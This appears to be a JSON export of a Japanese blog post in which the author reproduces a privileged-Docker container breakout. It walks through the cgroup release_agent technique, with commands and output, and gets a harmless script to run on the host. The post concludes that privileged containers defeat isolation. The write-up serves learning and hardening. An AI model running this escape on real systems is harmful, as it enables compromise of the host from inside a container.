{"id":4031,"date":"2021-07-03T14:11:47","date_gmt":"2021-07-03T05:11:47","guid":{"rendered":"https:\/\/tech.akat.info\/?p=4031"},"modified":"2021-07-03T14:14:18","modified_gmt":"2021-07-03T05:14:18","slug":"container-breakout-%e3%82%92%e3%82%84%e3%81%a3%e3%81%a6%e3%81%bf%e3%81%9f","status":"publish","type":"post","link":"https:\/\/tech.akat.info\/?p=4031","title":{"rendered":"Container Breakout \u3092\u3084\u3063\u3066\u307f\u305f"},"content":{"rendered":"<p><a href=\"https:\/\/speakerdeck.com\/mochizuki875\/container-breakout\">\u30b3\u30f3\u30c6\u30ca\u3092\u7a81\u304d\u7834\u308c\uff01\uff01<\/a>\u3092\u53c2\u8003\u306b\u3001\u30b3\u30f3\u30c6\u30ca\u3092\u7a81\u304d\u7834\u3063\u3066\u307f\u305f\u3002\u7279\u6a29\u3092\u5229\u7528\u3057\u305f\u5834\u5408\u306e\u3001\u653b\u6483\u304c\u30a4\u30e1\u30fc\u30b8\u3067\u304d\u306a\u304b\u3063\u305f\u305f\u3081\u3068\u3066\u3082\u53c2\u8003\u306b\u306a\u3063\u305f\u3002<br \/>\n(\u52d5\u753b\uff1ahttps:\/\/youtu.be\/Il-Z4go-wLg?t=2105)<\/p>\n<h2>\u7279\u6a29\u3092\u4ed8\u4e0e\u3057\u3066\u30b3\u30f3\u30c6\u30ca\u3092\u5b9f\u884c\u3059\u308b<\/h2>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n# docker run --privileged -it ubuntu \/bin\/bash\r\n<\/pre>\n<h2>\u30b3\u30f3\u30c6\u30ca\u306b\u3066cgroup\u306e\u30b5\u30d6\u30b0\u30eb\u30fc\u30d7\u3092\u4f5c\u6210\u3059\u308b<\/h2>\n<p>cgroup\u306f\u30db\u30b9\u30c8\u3068\u5171\u6709\u3059\u308b\u305f\u3081\u3001\u30db\u30b9\u30c8\u5074\u306b\u3082\u540c\u3058\u30b5\u30d6\u30b0\u30eb\u30fc\u30d7\u304c\u4f5c\u6210\u3055\u308c\u308b\u3002<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@313274926e56:\/# mkdir \/sys\/fs\/cgroup\/rdma\/x\r\nroot@313274926e56:\/# ls \/sys\/fs\/cgroup\/rdma\/\r\ncgroup.clone_children  cgroup.sane_behavior  release_agent  x   cgroup.procs  notify_on_release  tasks\r\n<\/pre>\n<h2>release agent\u306e\u6709\u52b9\u5316<\/h2>\n<p>cgroup\u306e\u6a5f\u80fd\u306e1\u3064\u3067\u3001cgroup\u306e\u7ba1\u7406\u30d7\u30ed\u30bb\u30b9(cgroup.procs)\u304c\u7d42\u4e86\u3059\u308b\u3068\u4efb\u610f\u306e\u30d7\u30ed\u30b0\u30e9\u30e0\u304c\u5b9f\u884c\u3055\u308c\u308b\u3002<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@313274926e56:\/# echo 1 &gt; \/sys\/fs\/cgroup\/rdma\/x\/notify_on_release\r\n<\/pre>\n<h2>\u30db\u30b9\u30c8\u5074\u3067\u5b9f\u884c\u3057\u305f\u3044\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u30b3\u30f3\u30c6\u30ca\u306b\u914d\u7f6e\u3059\u308b<\/h2>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@313274926e56:\/# cat cmd\r\n#!\/bin\/sh\r\necho &quot;cmd from Container&quot; &gt;&gt; \/tmp\/output\r\nhostname &gt;&gt; \/tmp\/output\r\n<\/pre>\n<h2>\u30db\u30b9\u30c8\u5074\u3067\u5b9f\u884c\u3057\u305f\u3044\u30d7\u30ed\u30b0\u30e9\u30e0\u306e\u30d1\u30b9\u3092\u6307\u5b9a\u3059\u308b<\/h2>\n<p>\u30db\u30b9\u30c8\u306eUpperdir\u306b\u5b9f\u884c\u3057\u305f\u3044\u30d7\u30ed\u30b0\u30e9\u30e0\u304c\u5b58\u5728\u3059\u308b\u305f\u3081\u3001\u305d\u306e\u30d1\u30b9\u3092\u6307\u5b9a\u3059\u308b\u3002<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@313274926e56:\/# mount | grep overlay\r\n...upperdir=\/var\/lib\/docker\/overlay2\/f4616a4f89d4acd43b7781e334af46caefbcc3cb954e6f7ebde543055d7cce5e\/diff...\r\n\r\nroot@313274926e56:\/# echo &quot;\/var\/lib\/docker\/overlay2\/f4616a4f89d4acd43b7781e334af46caefbcc3cb954e6f7ebde543055d7cce5e\/diff\/cmd&quot; &gt; \/sys\/fs\/cgroup\/rdma\/release_agent\r\n<\/pre>\n<h2>\u653b\u6483\u3057\u3066\u307f\u308b<\/h2>\n<p>\u4ee5\u4e0b\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3001release_agent\u306b\u8a2d\u5b9a\u3057\u305f\u30d7\u30ed\u30b0\u30e9\u30e0\u304c\u767a\u706b\u3059\u308b\u3002<br \/>\n\u30db\u30b9\u30c8\u306b\u3066 \/tmp\/output \u304c\u51fa\u529b\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3067\u304d\u305f\u3002<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@313274926e56:\/# sh -c &quot;echo \\$\\$ &gt; \/sys\/fs\/cgroup\/rdma\/x\/cgroup.procs&quot;\r\n<\/pre>\n<h3>\u88dc\u8db3\uff1a\u30db\u30b9\u30c8\u5074\u306e\u30d7\u30ed\u30bb\u30b9ID\u306b\u3064\u3044\u3066<\/h3>\n<p>&#8220;echo \\$\\$&#8221;\u304c\u7406\u89e3\u3067\u304d\u306a\u304b\u3063\u305f\u305f\u3081\u8abf\u3079\u3066\u307f\u305f\u3002\u3053\u308c\u306f\u81ea\u5206\u306e\u30d7\u30ed\u30bb\u30b9ID\u3092\u8868\u793a\u3059\u308b\u3002<br \/>\n\u30b3\u30f3\u30c6\u30ca\u306b\u3066\u4ee5\u4e0b\u3092\u5b9f\u884c\u3057\u3066\u3001<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@313274926e56:\/# sh -c &quot;echo \\$\\$ &gt; \/sys\/fs\/cgroup\/rdma\/x\/cgroup.procs &amp;&amp; sleep 300&quot;\r\n<\/pre>\n<p>\u30db\u30b9\u30c8\u5074\u306e\u30d7\u30ed\u30bb\u30b9ID\u3001cgroup.procs\u3092\u78ba\u8a8d\u3059\u308b\u3053\u3068\u3067\u3001\u30b3\u30f3\u30c6\u30ca\u306f\u30db\u30b9\u30c8\u30d7\u30ed\u30bb\u30b9\u306e1\u3064\u3067\u3042\u308b\u3053\u3068\u304c\u7406\u89e3\u3067\u304d\u305f\u3002<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n# ps afx \r\n...\r\n150058 pts\/0    Ss     0:00  \\_ \/bin\/bash\r\n150631 pts\/0    S+     0:00      \\_ sh -c echo $$ &gt; \/sys\/fs\/cgroup\/rdma\/x\/cgroup.procs &amp;&amp; sleep 300\r\n150632 pts\/0    S+     0:00          \\_ sleep 300\r\n...\r\n# cat \/sys\/fs\/cgroup\/rdma\/x\/cgroup.procs\r\n150631\r\n150632\r\n<\/pre>\n<h2>\u7d50\u8ad6<\/h2>\n<p>\u30b3\u30f3\u30c6\u30ca\u30d7\u30ed\u30bb\u30b9\u306f\u30ab\u30fc\u30cd\u30eb\u306e\u6a5f\u80fd\u306b\u3088\u308a\u3001\u4ed6\u306e\u30d7\u30ed\u30bb\u30b9\u3084\u30db\u30b9\u30c8\u304b\u3089\u9694\u96e2\u3057\u305f\u3082\u306e\u3002<br \/>\n<a href=\"https:\/\/tech.akat.info\/wp-content\/uploads\/2021\/07\/2021-07-03_132759.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tech.akat.info\/wp-content\/uploads\/2021\/07\/2021-07-03_132759-300x214.jpg\" alt=\"\" width=\"300\" height=\"214\" class=\"alignnone size-medium wp-image-4032\" srcset=\"https:\/\/tech.akat.info\/wp-content\/uploads\/2021\/07\/2021-07-03_132759-300x214.jpg 300w, https:\/\/tech.akat.info\/wp-content\/uploads\/2021\/07\/2021-07-03_132759-768x549.jpg 768w, https:\/\/tech.akat.info\/wp-content\/uploads\/2021\/07\/2021-07-03_132759.jpg 981w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\n\u7279\u6a29\u3092\u4ed8\u4e0e\u3059\u308b\u3068\u3001\u9694\u96e2\u306e\u6a5f\u80fd\u3092\u53d6\u308a\u9664\u304f\u305f\u3081\u5229\u7528\u3059\u308b\u3079\u304b\u3089\u305a\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30b3\u30f3\u30c6\u30ca\u3092\u7a81\u304d\u7834\u308c\uff01\uff01\u3092\u53c2\u8003\u306b\u3001\u30b3\u30f3\u30c6\u30ca\u3092\u7a81\u304d\u7834\u3063\u3066\u307f\u305f\u3002\u7279\u6a29\u3092\u5229\u7528\u3057\u305f\u5834\u5408\u306e\u3001\u653b\u6483\u304c\u30a4\u30e1\u30fc\u30b8\u3067\u304d\u306a\u304b\u3063\u305f\u305f\u3081\u3068\u3066\u3082\u53c2\u8003\u306b\u306a\u3063\u305f\u3002 (\u52d5\u753b\uff1ahttps:\/\/youtu.be\/Il-Z4go-wLg?t=2105) \u7279\u6a29\u3092 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[72,98],"tags":[],"_links":{"self":[{"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/posts\/4031"}],"collection":[{"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tech.akat.info\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4031"}],"version-history":[{"count":3,"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/posts\/4031\/revisions"}],"predecessor-version":[{"id":4035,"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/posts\/4031\/revisions\/4035"}],"wp:attachment":[{"href":"https:\/\/tech.akat.info\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4031"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tech.akat.info\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4031"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tech.akat.info\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4031"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}